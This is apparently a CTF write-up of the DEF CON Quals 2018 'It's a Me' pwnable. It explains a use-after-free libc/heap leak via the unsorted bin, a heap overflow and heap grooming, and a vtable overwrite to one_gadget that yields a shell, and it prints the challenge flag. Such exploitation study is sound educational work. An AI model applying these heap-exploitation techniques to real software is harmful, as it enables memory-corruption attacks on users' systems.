Back

DEF CON Quals 2018: It's a Me

Category: pwnable      |      Points: 124      |      Solves: 49      |      Challenge files

1
2
3
4
5
6
7
> checksec mario
[*] '/home/raywang/ctf/DEFCONQ2018/mario'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

Summary

This is a classic C++ menu challenge that features a UAF and heap overflow with a vtable pointer overwrite. The main heap techniques involve using a free unsorted bin chunk to leak a libc and heap address, as well as some feng shui to place an object in an overflow-able region on the heap. fortenforge, qzqxq, and I combined to reverse the binary and discover the 3 separate vulnerabilities.

Reversing

When you first create a new Customer or login to this pizza kitchen, you have the option to order, cook, or admire Pizzas. When you order, you can specify Unicode emoji ingredients like 🍍 and 🍅. If you try to order a pizza with 🍍, you are kicked out and banned from ever logging in again.

1
2
3
4
5
6
Wellcom my friende!! It's-a me, Mario! Ready for pizza italiana vera?
------------------- MAIN MENU -------------------
(N)ew customer
(L)ogin as customer
(E)xit
Choice: N
1
2
3
4
5
6
7
>> Welcome ghostly
------------------- USER MENU -------------------
(O)rder more pizzas
(C)ook all pizzas
(A)dmire cooked pizzas
(L)eave
Choice:

When you ask to have your pizzas cooked, the ingredients are strcated together and checked with strstr — if a pizza contains only 🍅, it’s “good”, if it has 🍍, it’s “criminal” — then, a new Pizza object of the correct type is created. You can also provide an explanation string, which is malloced onto the heap and stored in the Customer. This explanation is then freed at the end of cook, if the number of good pizzas == total number of pizzas.

In pseudo-code, the Customer struct looks like

1
2
3
4
5
6
7
Customer {
+0 name ptr
+8 vector of ordered pizzas
+32 explanation ptr
+40 vector of cooked pizzas
+65 isBanned
}

Stage 1: Leak

You want to trick Mario into cooking a pineapple pizza first. We make a pizza with two ingredients, one ending in \xf0\x9f and another starting with \x8d\x8d that, when strcated together, give a Unicode pineapple (\xf0\x9f\x8d\x8d). Now you’ve made Mario upset! Your customer is then stored as a global variable upset_user. You also unlock a menu option to print the explanation field, which would be a UAF if the explanation were freed in cook. We can ensure that the explanation is freed by overflowing the 1-byte counter of total number of pizzas, with (16 bad + 1 good pizza) = 17 total pizzas % 16 = 1 total pizza.

1
2
3
4
5
6
7
8
9
10
11
int angry_leak()
{
printf(
"your friend %s ordered a pizza with %s and I should stay calm?\n",
*(_QWORD *)&upset_user->nameptr,
&pineapple);
printf(
"'That must be a mistake', you may say. But I asked, and this is what he had to say: %s\n",
*(_QWORD *)&upset_user->explanation);
return puts("niente scuse");
}

What are the contents of a freed chunk that we can leak? If the chunk is >fastbin size (>0x80), when it is freed, it will be inserted into the unsorted bin, which is a doubly-linked list of recently freed chunks. The fd and bk pointers will thus be populated with the address of the unsorted bin, which is in the main_arena struct in libc. This gives us our libc leak.

1
2
3
4
5
0x555555773120: 0000000000000000 0000000000000111 | <--  explanation chunk. size of explanation chunk=0x111
0x555555773130: 00007FFFF7839C78 00007FFFF7839C78 | <--- fd and bk pointers, both &unsorted bin
0x555555773140: 5151515151515151 5151515151515151 | QQQQQQQQQ> <---- explanation data
0x555555773150: 5151515151515151 5151515151515151 | QQQQQQQQQ>
...

We can also get a heap leak if the unsorted bin has another chunk when we free our explanation. In that case, when the explanation chunk is inserted, the fd pointer will be set to the other free chunk. The free explanation chunk then looks as follows:

1
2
3
4
5
0x555555773120: 0000000000000000 0000000000000111 | <-- explanation chunk
0x555555773130: 00005555557740C0 00007FFFF7839B78 | <--- fd ptr to next chunk, bk ptr to &unsorted bin
0x555555773140: 5151515151515151 5151515151515151 | QQQQQQQQQ>
0x555555773150: 5151515151515151 5151515151515151 | QQQQQQQQQ>
...

This image from sploitfun is great for understanding the linked list structure of heap bins.

Stage 2: Overflow

If we successfully cook a pineapple pizza, we are also given a new menu option to “explain ourselves” by overwriting our explanation. It reads 300 bytes into the explanation on the heap, even though our explanation was previously malloced with a smaller length (the length of our original explanation). IDA can’t detect/decompile jump tables for some reason, so here’s the assembly of the overflow:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:00000000000020BB                 cmp     [rbp+var_1], 0
.text:00000000000020BF jz loc_2154
.text:00000000000020C5 lea rdi, aLastChanceExpl ; "last chance, explain yourself: "
.text:00000000000020CC mov eax, 0
.text:00000000000020D1 call printf
.text:00000000000020D6 lea rax, global_customer
.text:00000000000020DD mov rax, [rax]
.text:00000000000020E0 mov rax, [rax+20h]
.text:00000000000020E4 mov esi, 300 <-------- length
.text:00000000000020E9 mov rdi, rax <-------- explanation pointer
.text:00000000000020EC call another_fread
.text:00000000000020F1 lea rdi, aTooBadNoExplan ; "too bad, no explanation is reasonable. "...
.text:00000000000020F8 call puts
.text:00000000000020FD lea rax, global_customer
.text:0000000000002104 mov rax, [rax]
.text:0000000000002107 mov byte ptr [rax+41h], 1
.text:000000000000210B jmp short loc_2154

This overflow allows us to overwrite whatever is after the explanation in the heap. With some grooming, we can try to get a Pizza object placed right after our explanation, so we can overwrite its contents — namely, the C++ vtable pointers for class functions.

A Pizza on the heap looks like this:

1
2
3
4
5
0x5555557731C0: 0000000000000000 0000000000000041 | ........A> <---- Pizza chunk. size of Pizza chunk=0x41
0x5555557731D0: 000055555575FC00 0000555555773210 | ..uUUU...> <---- ptr to ingredients
^
|
ptr to a "printPizza" function

The goal, of course, is to overwrite the printPizza vtable ptr to a pointer to one_gadget, so that the next time we print the pizza in admire, we get a shell.

How do we ensure that the Pizza is placed right after our Customer’s explanation? If we malloc and free a large explanation, its free space will be used for other objects, and if we are lucky, a Pizza.

1
2
3
4
5
6
7
8
9
10
11
12
0x555555773120: 0000000000000000 0000000000000041 | ........A> <---- Customer's explanation chunk
0x555555773130: 00005555557731A0 00005555557731C0 | .1wUUU...>
0x555555773140: 00005555557731C0 0000555555773170 | .1wUUU..p>
0x555555773150: 0000555555773190 0000555555773190 | .1wUUU...>
0x555555773160: 4646464646464646 0000000000000031 | FFFFFFFF1>
0x555555773170: 0000555555773180 0000000000000004 | .1wUUU...> Other junk
0x555555773180: 46464600858D9FF0 4646464646464646 | .....FFFF>
0x555555773190: 4646464646464646 0000000000000031 | FFFFFFFF1>
0x5555557731A0: 00005555557731B0 0000000000000004 | .1wUUU...>
0x5555557731B0: 46464600858D9FF0 4646464646464646 | .....FFFF>
0x5555557731C0: 4646464646464646 0000000000000041 | FFFFFFFFA> <---- Pizza object's heap chunk
0x5555557731D0: 000055555575FC00 0000555555773210 | ..uUUU...> <---- Pizza object

Lovely! Now, we perform our overflow, first writing one_gadget to the heap, then overflowing the Pizza with the heap ptr to one_gadget.

1
2
3
4
5
6
0x555555773120: 0000000000000000 0000000000000041 | ........A>
0x555555773130: 00007FFFF74BA26A 00007FFFF74BA26A | j.K.....j> <---- address of one_gadget <-----|
0x555555773140: 5A5A5A5A5A5A5A5A 5A5A5A5A5A5A5A5A | ZZZZZZZZZ> |
... |
0x5555557731C0: 5A5A5A5A5A5A5A5A 5A5A5A5A5A5A5A5A | ZZZZZZZZZ> <---- Pizza object's heap chunk |
0x5555557731D0: 0000555555773130 0000555555773130 | 01wUUU..0> <---- Overwritten vtable ptr, points to

And when admire is called,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
------------------- USER MENU -------------------
(O)rder more pizzas
(C)ook all pizzas
(A)dmire cooked pizzas
(L)eave
Choice:
Admire these beauties... (3)

[*] Switching to interactive mode
___
| ~~--.
|%=@%%/
|o%%%/
__ |%%o/
_,--~~ | |(_/ ._
,/' m%%%%| |o/ / `\.
/' m%%o(_)%| |/ /o%%m `\
/' %%@=%o%%%o| /(_)o%%% `\
/ %o%%%%%=@%%| /%%o%%@=%% \
| (_)%(_)%%o%%| /%%%=@(_)%%% |
| %%o%%%%o%%%(_|/%o%%o%%%%o%%% |
| %%o%(_)%%%%%o%(_)%%%o%%o%o%% |
| (_)%%=@%(_)%o%o%%(_)%o(_)% |
\ ~%%o%%%%%o%o%=@%%o%%@%%o%~ /
\. ~o%%(_)%%%o%(_)%%(_)o~ ,/
\_ ~o%=@%(_)%o%%(_)%~ _/
`\_~~o%%%o%%%%%~~_/'
`--..____,,--'

$ ls
flag
$ cat flag
OOO{cr1m1n4l5_5h0uld_n07_b3_r3w4rd3d_w17h_fl4gs}

I learned the unsorted bin leak trick from Samurai’s Gulshan Singh in one of his writeups, who in turn learned it from PPP.

References

  1. https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/malloc_state.html
  2. https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/